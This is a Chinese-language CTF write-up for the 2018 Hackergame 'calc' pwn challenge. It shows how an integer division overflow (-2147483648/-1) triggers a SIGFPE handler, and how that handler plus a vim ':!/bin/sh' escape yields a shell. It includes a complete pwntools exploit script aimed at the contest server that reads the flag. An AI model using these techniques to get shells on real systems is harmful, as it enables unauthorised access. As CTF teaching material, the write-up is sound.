[2018Hackergame] calc

挺有意思的一道题,用到了之前刷bandit的一些技巧,程序的漏洞就是利用指令的整数溢出执行err函数然后getshell

main

init

err

  • 程序就是一个简单计算器的实现,但是init函数中设置了几个signal,然后err函数可以让我们执行一个linux的程序,所以我们首先是想着如何触发信号机制去执行err函数,可以看到几个signal信号中最有可能被我们利用的就是浮点异常,一般浮点异常我们最容易想到的就是除数为0的计算,然而这里程序会检测除数是否为0

signal信号

  • 但是还有一种除法溢出(对DIV和IDIV指令,如果字节操作时,被除数的高8 位绝对值大于除数的绝对值,或在字操作时,被除数的高16 位绝对值大于除数的绝对值,就会产生溢出,也就是说结果(商)超过了目标寄存器AL 或AX 所能存放数的范围。),计算机会自动产生一个中断类型号为0的除法错中断,相当于执行了除数为0的运算,也就是说我们需要让被除数的高16位绝对值大于除数的高16位绝对值,可以直接用最负整数除以-1即可,这里signed int表示的最负整数是-2147483648,所以直接用-2147483648/-1
1
2
3
4
5
6
7
8
9
>>> bin(0x80000000)   #-2147483648
'0b10000000000000000000000000000000'
>>> bin(0xffffffff) #-1
'0b11111111111111111111111111111111'
>>> int('1'*16,2)
65535
>>> int('1'+'0'*16,2)
65536
可以看到-2147483648的高16位绝对值大于-1的高16位绝对值,会触发除法溢出
  • err函数允许我们执行一个程序,我们可以利用vim特有的:!/bin/sh或者:e file来getshell或者读取flag文件

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import time
context.log_level = 'debug'

#p = process('./calc')
p = remote('202.38.95.46',12008)

p.sendlineafter('>>> ','-2147483648/-1')
p.sendlineafter('\n','vim')
time.sleep(3)

#get shell
p.sendline(':!/bin/sh')
p.sendline('cat ./-')
p.recvuntil('flag')
flag = 'flag' + p.recvuntil('}')
print flag

#cat flag
# p.sendline(':e .//-')
# p.recvuntil('flag')
# flag = 'flag' + p.recvuntil('}')
# print flag

p.close()

参考文章: